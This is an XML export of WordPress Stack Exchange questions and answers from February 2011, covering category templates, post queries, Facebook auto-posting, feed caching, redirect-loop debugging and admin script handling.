  <row Id="8798" PostTypeId="2" ParentId="8787" CreationDate="2011-02-07T20:25:48.803" Score="2" ViewCount="" Body="&lt;p&gt;Alternatively you could just name your file so that WordPress knows to use it for that category.  According to the &lt;a href=&quot;http://codex.wordpress.org/Category_Templates#What_Template_File_is_Used.3F&quot; rel=&quot;nofollow&quot;&gt;Codex&lt;/a&gt;, WordPress looks for the following files (in this order) in order to display your categories:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;category-slug.php&lt;/li&gt;&#xA;&lt;li&gt;category-ID.php&lt;/li&gt;&#xA;&lt;li&gt;category.php&lt;/li&gt;&#xA;&lt;li&gt;archive.php&lt;/li&gt;&#xA;&lt;li&gt;index.php&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So if you named/created a template file called &lt;code&gt;category-166.php&lt;/code&gt;, then WordPress would use that file to display category 166.&lt;/p&gt;&#xA;" OwnerUserId="199" LastActivityDate="2011-02-07T20:25:48.803" />
  <row Id="8799" PostTypeId="2" ParentId="8790" CreationDate="2011-02-07T20:39:54.223" Score="1" ViewCount="" Body="&lt;p&gt;You can add a filter for the &lt;a href=&quot;http://adambrown.info/p/wp_hooks/hook/get_header&quot; rel=&quot;nofollow&quot;&gt;get_header hook&lt;/a&gt; and then you can return custom code for the header.&lt;/p&gt;&#xA;" OwnerUserId="2322" LastActivityDate="2011-02-07T20:39:54.223" />
  <row Id="8800" PostTypeId="2" ParentId="8796" CreationDate="2011-02-07T20:43:18.320" Score="1" ViewCount="" Body="&lt;p&gt;Sure, change the query by adding &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;?php query_posts('post_type=post&amp;amp;numberposts=-1'); ?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="1352" LastActivityDate="2011-02-07T20:43:18.320" />
  <row Id="8801" PostTypeId="2" ParentId="8796" CreationDate="2011-02-07T21:01:25.280" Score="1" ViewCount="" Body="&lt;p&gt;Eileen is right but it's better to use arguments as an array &lt;code&gt;&amp;lt;?php query_posts( array( 'post_type' =&amp;gt; 'post', 'numberposts' =&amp;gt; -1 ) ); ?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="1521" LastActivityDate="2011-02-07T21:01:25.280" />
  <row Id="8802" PostTypeId="1" CreationDate="2011-02-07T21:11:20.850" Score="5" ViewCount="410" Body="&lt;p&gt;My readers are telling me to manually add my posts to my fan page, but I'm trying to reduce steps and keep from forgetting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone know how I can automate this?&lt;/p&gt;&#xA;" OwnerUserId="2115" LastActivityDate="2011-08-11T16:30:18.480" Title="How can I auto-add my posts to my site's Facebook fan page?" Tags="&lt;facebook&gt;" AnswerCount="5" FavoriteCount="2" />
  <row Id="8803" PostTypeId="2" ParentId="8796" CreationDate="2011-02-07T21:13:58.007" Score="4" ViewCount="" Body="&lt;p&gt;The argument that controls how many posts are shown in the query is posts_per_page&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php query_posts( array( &#xA;                         'post_type' =&amp;gt; 'post',&#xA;                         'posts_per_page' =&amp;gt; -1 ) &#xA;      ); &#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also to note is that there is a bug in the 3.0 branch which prevents the -1 integer from displaying all posts.  It is fixed in 3.1 but a workaround would be to use a very high number instead of -1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;see:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://core.trac.wordpress.org/ticket/15150&quot; rel=&quot;nofollow&quot;&gt;http://core.trac.wordpress.org/ticket/15150&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="251" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-02-07T21:30:09.773" LastActivityDate="2011-02-07T21:30:09.773" CommentCount="2" />
  <row Id="8804" PostTypeId="2" ParentId="8802" CreationDate="2011-02-07T21:17:24.413" Score="1" ViewCount="" Body="&lt;p&gt;I believe you want to look into something like &lt;a href=&quot;http://developers.facebook.com/docs/reference/rest/stream.publish/&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;stream.publish&lt;/code&gt;&lt;/a&gt; on facebook's api documention reference.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This method publishes a post into the&#xA;  stream — on the Wall of the current or&#xA;  specified user, or on the Wall of a&#xA;  friend or a Facebook Page, group, or&#xA;  event connected to the current session&#xA;  or specified user (but not to an&#xA;  application profile page). By default,&#xA;  this call publishes to the current&#xA;  session user's Wall, but if you&#xA;  specify a user ID, Facebook Page ID,&#xA;  group ID, or event ID as the&#xA;  target_id, then the post appears on&#xA;  the Wall of the target, and not the&#xA;  user posting the item.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;As for using it, I've not explored much in the way of Facebook's API beyond &lt;code&gt;&amp;lt;fb:like&amp;gt;&lt;/code&gt; tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this helps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; You try this &lt;a href=&quot;http://www.cravingtech.com/how-to-submit-blog-posts-from-wordpress-to-facebook-automatically.html&quot; rel=&quot;nofollow&quot;&gt;link/plugin&lt;/a&gt; for WordPress. There is a plugin (&quot;&lt;a href=&quot;http://wordpress.org/extend/plugins/wordbooker/&quot; rel=&quot;nofollow&quot;&gt;WordBooker&lt;/a&gt;&quot;) that looks promising.&lt;/p&gt;&#xA;" OwnerUserId="2322" LastEditorUserId="2322" LastEditorDisplayName="" LastEditDate="2011-02-08T01:17:50.887" LastActivityDate="2011-02-08T01:17:50.887" CommentCount="2" />
  <row Id="8805" PostTypeId="2" ParentId="8802" CreationDate="2011-02-07T21:25:52.617" Score="3" ViewCount="" Body="&lt;p&gt;The easy way to automate the publishing of your WordPress posts to your Facebook fan page is to use Facebook's built in Notes application.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will need your sites feed link which is usually &lt;a href=&quot;http://example.com/feed&quot; rel=&quot;nofollow&quot;&gt;http://example.com/feed&lt;/a&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to your fan page and click the edit page link then go to applications and under &quot;Notes&quot; click &quot;go to app&quot; at the bottom left hand side of the page you will see a link for &quot;edit import settings&quot; click the link and enter your feed url.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everytime you publish a post a new note will be created that contains the post.  It will also publish an excerpt to your wall with a thumbnail image of the first image in the post.&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-02-07T21:25:52.617" CommentCount="1" />
  <row Id="8806" PostTypeId="1" AcceptedAnswerId="8832" CreationDate="2011-02-07T22:15:41.277" Score="1" ViewCount="113" Body="&lt;p&gt;Is there any way to possibly force a redirection to the post (type's) listing page (&lt;code&gt;edit.php?post_type=&amp;lt;post-type&amp;gt;&lt;/code&gt;)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strike&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; Since I got a LMGTFY link, let me clarify before I downvote it.&lt;/strike&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Is there anyway to redirect the user forcibly to the post type's listing page AFTER they've already submitted the form to either edit the post or create a new post?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="2322" LastEditorUserId="2322" LastEditorDisplayName="" LastEditDate="2011-02-08T19:08:33.613" LastActivityDate="2011-02-08T19:08:33.613" Title="Create/Edit posts and auto-redirect back to listing page" Tags="&lt;custom-post-types&gt;&lt;redirect&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="2" />
  <row Id="8809" PostTypeId="1" AcceptedAnswerId="8890" CreationDate="2011-02-07T22:57:43.523" Score="1" ViewCount="226" Body="&lt;p&gt;I'm trying to add a custom feed format to my site (basically exporting data to an Excel file) and I'm getting confused by the feed caching settings. I can't figure out how to flush the cached feeds, or to turn off feed caching altogether while I'm in development.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried deleting all the &lt;code&gt;_transient_feed...&lt;/code&gt;, &lt;code&gt;_transient_timeout_feed...&lt;/code&gt; and &lt;code&gt;_transient_rss...&lt;/code&gt; options, but I'm still seeing the cached feeds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And, based on some advice in &lt;a href=&quot;http://wordpress.org/support/topic/how-can-i-flush-the-rss-cache&quot; rel=&quot;nofollow&quot;&gt;this support forum thread&lt;/a&gt;, I tried on a whim adding this line to my wp-config.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('MAGPIE_CACHE_AGE', 0);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(Obviously I'd like some caching of feeds, but it would help in development to be able to turn off the feed caching.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anybody got any suggestions?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Some clarification:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry, I think I wasn't clear enough in the initial question, and then I threw you all by referring to the magpie cache, which was completely on the wrong path. I was shooting blind at first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm adding a feed to my site using &lt;code&gt;add_feed()&lt;/code&gt;. The function that generates the feed is using the &lt;a href=&quot;http://phpexcel.codeplex.com/&quot; rel=&quot;nofollow&quot;&gt;PHPExcel&lt;/a&gt; class to write an excel spreadsheet. Then I'm setting appropriate headers for download, and outputting the .xls file data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think my problem might actually be a browser caching issue. The urls that I'm trying to output my feeds from look this this: &lt;strong&gt;mysite.com/facility/ummc/?feed=master_log&lt;/strong&gt; and the xls file that's generated is called Master_Log.xls. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Adding a cache busting string to the url request can get around the cache, i.e. requesting a feed from &lt;strong&gt;mysite.com/facility/ummc/?feed=master_log&amp;amp;now=12ag4oSduq344&lt;/strong&gt; ... I was just wondering if there was any way of disabling the cache altogether.&lt;/p&gt;&#xA;" OwnerUserId="290" LastEditorUserId="290" LastEditorDisplayName="" LastEditDate="2011-02-08T17:35:25.650" LastActivityDate="2011-02-08T18:16:45.227" Title="How to flush feed? Or set timeout on feed so that it isn't cached?" Tags="&lt;rss&gt;&lt;flush&gt;&lt;add-feed&gt;" AnswerCount="2" CommentCount="5" />
  <row Id="8810" PostTypeId="2" ParentId="8776" CreationDate="2011-02-07T23:01:04.950" Score="0" ViewCount="" Body="&lt;p&gt;Your site is misconfigured, but from remote it's not easy to say where exactly. For the redirects, it's going this way:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;requesting &lt;code&gt;http://internationalgateway.us/fr&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;301 redirect to &lt;code&gt;http://internationalgateway.us/fr//&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;requesting &lt;code&gt;http://internationalgateway.us/fr//&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;301 redirect to &lt;code&gt;http://internationalgateway.us/fr/&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;requesting &lt;code&gt;http://internationalgateway.us/fr/&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;go to 2.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This is the redirect loop your page creates unrolled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To debug this, you can make use of a command-line utility called &lt;a href=&quot;http://curl.haxx.se/&quot; rel=&quot;nofollow&quot;&gt;curl&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# curl -i http://internationalgateway.us/fr/&#xA;HTTP/1.1 301 Moved Permanently&#xA;Date: Mon, 07 Feb 2011 22:42:24 GMT&#xA;Server: LiteSpeed&#xA;Connection: close&#xA;Set-Cookie: _icl_current_language=fr; expires=Tue, 08-Feb-2011 22:42:24 GMT; path=/&#xA;X-Pingback: http://internationalgateway.us/xmlrpc.php&#xA;Content-Type: text/html; charset=UTF-8&#xA;Location: http://internationalgateway.us/fr//&#xA;Content-Length: 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It does not look like a server misconfiguration as those redirects are triggered by wordpress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I already gave some wordpress redirect debugging tricks here: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/6192/infinite-loop-problem-with-the-wordpress-mu-domain-mapping-plug-in&quot;&gt;Infinite loop problem with the WordPress MU Domain Mapping plug-in&lt;/a&gt;. There is a Firefox add-on that prevents automatic redirects &lt;a href=&quot;http://toolpress.de/tools/noredirect-1.2.4-fx+sm+toolpress-strict-edition.xpi.html&quot; rel=&quot;nofollow&quot;&gt;NoRedirect 1.2.4 Toolpress Strict Edition (Firefox Add-On)&lt;/a&gt; and a WordPress plugin that can be easily hacked to add debug information to redirects: &lt;a href=&quot;http://hakre.wordpress.com/plugins/better-http-redirects/&quot; rel=&quot;nofollow&quot;&gt;Better HTTP Redirects (Wordpress Plugin)&lt;/a&gt;. Probably the info there and those tools are helpful for you to find which plugin / code is triggering the redirect(s).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a quick shot you can try if &lt;a href=&quot;http://hakre.wordpress.com/plugins/normalize-urls/&quot; rel=&quot;nofollow&quot;&gt;Normalize URLs (Wordpress Plugin)&lt;/a&gt; helps, but I think not directly for your case. But it might be of general use for you.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2011-02-07T23:01:04.950" />
  <row Id="8811" PostTypeId="1" AcceptedAnswerId="11256" CreationDate="2011-02-07T23:08:50.890" Score="0" ViewCount="272" Body="&lt;p&gt;I have a custom post type that uses a custom taxonomy.  I'm imposing a limit of a single term to each post (using a custom meta box drop down on the edit post screen for the CPT). The term for the taxonomy is assigned using the standard wp_set_object_terms() function.  How can I make the taxonomy column sortable (using WP 3.1rc3)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://scribu.net/wordpress/custom-sortable-columns.html&quot; rel=&quot;nofollow&quot;&gt;This&lt;/a&gt; post by Scribu got me almost there. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, since I'm not using a numeric value stored in a meta key, the {name}_column_orderby function will not work for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&#xA;Welp, I earned a tumbleweed.  Maybe it would help to rephrase? (I also rephrased the title).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I create sortable columns within the manage-edit screens, when the information that I'm listing does not come from the post_meta table?&lt;/p&gt;&#xA;" OwnerUserId="2807" LastEditorUserId="2807" LastEditorDisplayName="" LastEditDate="2011-02-18T03:18:03.503" LastActivityDate="2011-03-05T19:18:14.880" Title="Sortable admin columns, when data isn't coming from post_meta" Tags="&lt;taxonomy&gt;&lt;sort&gt;&lt;columns&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="8813" PostTypeId="1" AcceptedAnswerId="8839" CreationDate="2011-02-07T23:31:07.303" Score="0" ViewCount="162" Body="&lt;p&gt;I'm trying to get an image from Google but...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;wp_remote_get returns me:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Could not open handle for fopen() to &#xA;https://ajax.googleapis.com/ajax/services/search/images?&#xA;v=1.0&amp;amp;q=whatever.whatever&amp;amp;key=MYKEYWHICHIDONTPOST&amp;amp;userip=127.0.0&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't know why: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;when I enter the url directly I do get results. &lt;/li&gt;&#xA;&lt;li&gt;all other wp_remote_gets in the same class work ok so yes php.ini allow=ok&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;this is the code i run:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$referer_url = get_bloginfo('url');&#xA;$referer = $parsed_url[host];                   &#xA;$google_images_url = self::GOOGLE_IMAGES_URL . &quot;&amp;amp;q=&quot; .  $url_to_look_for . &quot;&amp;amp;key=&quot; . $key . &quot;&amp;amp;userip=&quot;  . $_SERVER['REMOTE_ADDR'];&#xA;$response = wp_remote_get($google_images_url, array( 'headers' =&amp;gt; array( 'Referer' =&amp;gt; $referer)));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;hmmm&lt;/p&gt;&#xA;" OwnerUserId="576" LastActivityDate="2011-02-08T07:13:13.807" Title="Why Do I get &quot;wp_remote-get: could not handle for fopen()&quot;?" Tags="&lt;plugins&gt;&lt;stylesheet&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="8815" PostTypeId="1" AcceptedAnswerId="8821" CreationDate="2011-02-07T23:56:46.073" Score="1" ViewCount="203" Body="&lt;p&gt;I know by watching the akismet plugin source how to show a custom message on the plugins page, but I want my message to appear only once after my plugin is activated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How could i do this?&lt;/p&gt;&#xA;" LastActivityDate="2011-08-22T22:25:28.517" Title="How to show custom message once on plugin activation?" Tags="&lt;plugins&gt;&lt;3.0&gt;&lt;plugin-development&gt;" AnswerCount="1" />
  <row Id="8816" PostTypeId="1" AcceptedAnswerId="8820" CreationDate="2011-02-07T23:58:44.160" Score="0" ViewCount="167" Body="&lt;p&gt;i have a custom post type called 'auctions', and i'd like to be able to visually differentiate auctions from posts and pages &lt;strong&gt;in the backend&lt;/strong&gt; by assigning a different background color to the auction post type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this could be easily achieved if i had a way to assign a body class to admin pages pertaining to this specific post type, except i'm not sure as to how i'd go about that :).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;any help would be greatly appreciated. thanks! &lt;/p&gt;&#xA;" OwnerUserId="1826" LastActivityDate="2011-02-08T00:39:54.617" Title="changing body background color for custom post type in admin backend" Tags="&lt;admin&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="8817" PostTypeId="1" AcceptedAnswerId="8841" CreationDate="2011-02-08T00:00:42.520" Score="0" ViewCount="160" Body="&lt;p&gt;I am trying to remove the &quot;Click here to cancel reply&quot; link from the Wordpress comment form on my posts. In the document there is an argument you can supply to the comment form function to remove the link, but it doesn't appear to be working. The documentation link: &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/comment_form&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/comment_form&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried different values for the cancel_reply_link value including double quotes, double quotes with a space between them, a zero and a value of false; all of which were to no avail. Surely I am overlooking something here as removing that link is pretty common in Wordpress installations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the current function call with parameters that I am using at present:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php comment_form(&#xA;&#xA;array(&#xA;    'comment_notes_before' =&amp;gt; FALSE,&#xA;    'comment_notes_after'  =&amp;gt; FALSE,&#xA;    'cancel_reply_link'    =&amp;gt; FALSE&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;); &#xA;?&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your help is gratefully appreciated.&lt;/p&gt;&#xA;" OwnerUserId="1687" LastActivityDate="2011-02-08T07:21:02.773" Title="How To Remove The &quot;Click here to cancel reply&quot; Link From The Wordpress Comment Form" Tags="&lt;comments&gt;&lt;comment-form&gt;&lt;themes&gt;&lt;templates&gt;" AnswerCount="2" />
  <row Id="8818" PostTypeId="1" AcceptedAnswerId="8819" CreationDate="2011-02-08T00:07:07.500" Score="1" ViewCount="74" Body="&lt;p&gt;I'm currently creating a plugin that requires me to overwrite one of the Wordpress admin panel javascript files. I have recreated the file with the changes, I need to know how to replace the existing file that gets loaded in load_scripts.php (the script needs to be added in the same order).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was hoping something like this would do the job:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;wp_register_script('admin-widgets', WP_PLUGIN_URL. '/oak-automated-sidebars/oak-widgets.js');&#xA;wp_enqueue_script('admin-widgets');&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it doesn't seem to work, the original script is still loaded. Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="1769" LastActivityDate="2011-02-08T00:26:42.193" Title="Replacing Scripts in Admin Load_Scripts" Tags="&lt;plugin-development&gt;&lt;wp-admin&gt;&lt;wp-enqueue-script&gt;" AnswerCount="1" />
  <row Id="8819" PostTypeId="2" ParentId="8818" CreationDate="2011-02-08T00:26:42.193" Score="2" ViewCount="" Body="&lt;p&gt;You need to first  deregister the script using wp_deregister_script&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; wp_deregister_script( 'admin-widgets' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then use your code to re-register the script using your own js file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_register_script('admin-widgets', WP_PLUGIN_URL. '/oak-automated-sidebars/oak-widgets.js'); &#xA;wp_enqueue_script('admin-widgets');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this Helps&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-08T00:26:42.193" CommentCount="6" />
  <row Id="8820" PostTypeId="2" ParentId="8816" CreationDate="2011-02-08T00:39:54.617" Score="1" ViewCount="" Body="&lt;p&gt;Easy and your css to overwrite the default style like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('admin_print_styles', 'auctions_admin_print_styles_332');&#xA;&#xA;function auctions_admin_print_styles_332(){&#xA;   if ((isset($_GET['post_type']) &amp;amp;&amp;amp; $_GET['post_type'] == 'auctions') || (isset($post_type) &amp;amp;&amp;amp; $post_type == 'auctions')){&#xA;&#xA;     //include your css file using wp_enqueue_style() somthing like &#xA;      wp_enqueue_style( 'handle name', plugins_url('/style.css', __FILE__), array(), '1.0' );&#xA;&#xA;      // or a more hackish way would be to echo out the css style tag&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so the class you are looking for is actualy an id &quot;wpwrap&quot; so you can use something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;style type=&quot;text/css&quot;&amp;gt;&#xA;#wpwrap{background-color: #FFF;}&#xA;&amp;lt;/style&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-08T00:39:54.617" CommentCount="1" />
  <row Id="8821" PostTypeId="2" ParentId="8815" CreationDate="2011-02-08T00:47:34.673" Score="1" ViewCount="" Body="&lt;p&gt;The easiest way would be to check for an stub get_option something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$run_once = get_option('run_once');&#xA;&#xA;if (!$run_once){&#xA;    //show your custom message here&#xA;    // then update the option so this message won't show again&#xA;    update_option('run_once',true);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;hope this helps&lt;/p&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="4990" LastEditorDisplayName="" LastEditDate="2011-08-22T22:25:28.517" LastActivityDate="2011-08-22T22:25:28.517" CommentCount="4" />
  <row Id="8822" PostTypeId="2" ParentId="8809" CreationDate="2011-02-08T01:04:55.080" Score="0" ViewCount="" Body="&lt;p&gt;try &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; function do_not_cache_feeds(&amp;amp;$feed) {&#xA;   $feed-&amp;gt;enable_cache(false);&#xA; }&#xA;&#xA; add_action( 'wp_feed_options', 'do_not_cache_feeds' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-08T01:04:55.080" CommentCount="2" />
  <row Id="8823" PostTypeId="1" CreationDate="2011-02-08T01:41:34.703" Score="0" ViewCount="131" Body="&lt;p&gt;I am using the &lt;a href=&quot;http://wordpress.org/extend/plugins/more-fields/&quot; rel=&quot;nofollow&quot;&gt;More Fields&lt;/a&gt; and &lt;a href=&quot;http://wordpress.org/extend/plugins/more-types/&quot; rel=&quot;nofollow&quot;&gt;More Types&lt;/a&gt; plugins to create a custom post type called &lt;code&gt;product&lt;/code&gt;. This custom type is based on the &lt;strong&gt;Post&lt;/strong&gt; type. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the fields is named &lt;code&gt;lot&lt;/code&gt; which is an integer representing a Lot # for an auction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created a custom category page which generates a list of links for each Lot, ordered by the &lt;code&gt;lot&lt;/code&gt; field. This works great.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array(&#xA;  'post_type' =&amp;gt; array('product'), &#xA;  'cat' =&amp;gt; 3,&#xA;  'meta_key' =&amp;gt; 'lot',&#xA;  'orderby' =&amp;gt; 'meta_value_num',&#xA;  'order' =&amp;gt; 'ASC'&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;However...&lt;/strong&gt; when you click on one of the lots, the Previous &amp;amp; Next post links aren't ordered by the &lt;code&gt;lot&lt;/code&gt; field anymore, they are ordered by publish date (which is the WP default).  I am trying to figure out how I can change this default sort order for &lt;code&gt;previous_post_link()&lt;/code&gt; and &lt;code&gt;next_post_link()&lt;/code&gt; to use custom field &lt;code&gt;lot&lt;/code&gt; instead of Publish date.&lt;/p&gt;&#xA;" OwnerUserId="193" LastActivityDate="2011-02-08T09:46:48.880" Title="How to order adjacent posts (prev / next) by custom field value?" Tags="&lt;custom-post-types&gt;&lt;custom-field&gt;&lt;navigation&gt;&lt;sort&gt;" AnswerCount="1" />
  <row Id="8824" PostTypeId="1" AcceptedAnswerId="8826" CreationDate="2011-02-08T01:53:22.290" Score="0" ViewCount="69" Body="&lt;p&gt;Anyone has any insight why &lt;a href=&quot;http://www.quantnet.com&quot; rel=&quot;nofollow&quot;&gt;http://www.quantnet.com&lt;/a&gt; loads fine in FF, Chrome but hangs in IE for 20 seconds or more?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been hunting down the problem but reach an end.&lt;/p&gt;&#xA;" OwnerUserId="3008" LastActivityDate="2011-02-08T02:24:54.797" Title="Wordpress homepage hangs in IE browsers" Tags="&lt;3.0&gt;" AnswerCount="1" />
  <row Id="8825" PostTypeId="1" AcceptedAnswerId="8847" CreationDate="2011-02-08T02:15:00.063" Score="0" ViewCount="201" Body="&lt;p&gt;I'd like to use a LIKE %text% statement while still using the WordPress $wpdb class to sanitize and prepare input.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT column_1 from `prefix_my_table` WHERE column_2 LIKE '%something%';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've tried something like this to no avail:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$wpdb-&amp;gt;prepare( &quot;SELECT column_1 from `{$wpdb-&amp;gt;base_prefix}my_table` WHERE column_2 LIKE %s;&quot;, like_escape($number_to_put_in_like));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How do you properly prepare a %LIKE% SQL statement using the WordPress database class?&lt;/p&gt;&#xA;" OwnerUserId="1860" LastActivityDate="2011-02-08T09:39:26.697" Title="How do you properly prepare a %LIKE% SQL statement?" Tags="&lt;mysql&gt;&lt;wpdb&gt;&lt;sql&gt;" AnswerCount="2" />
  <row Id="8826" PostTypeId="2" ParentId="8824" CreationDate="2011-02-08T02:24:54.797" Score="1" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://www.webpagetest.org/result/110208_NE_3HWF/1/details/&quot; rel=&quot;nofollow&quot;&gt;Here's a waterfall chart showing your page load.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your page loads in 3.1 seconds, but doesn't fire the document.ready event for another 27 seconds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Aside from various room for optimization (you might split your .pngs across domains to make them load faster, for example) what this waterfall chart shows that it's not the page that is hung but the page content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is not WordPress or WordPress content, rather the page your WordPress content is on or some 3rd party plugin (for example) failing to put scripts in the footer. This is probably in part because of the heavy usage of images without image sprites, but likely there is also some JavaScript blocking the onload event.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd start with the JavaScript, debugging using a tool like &lt;a href=&quot;http://getfirebug.com/&quot; rel=&quot;nofollow&quot;&gt;Firebug&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1860" LastActivityDate="2011-02-08T02:24:54.797" CommentCount="4" />
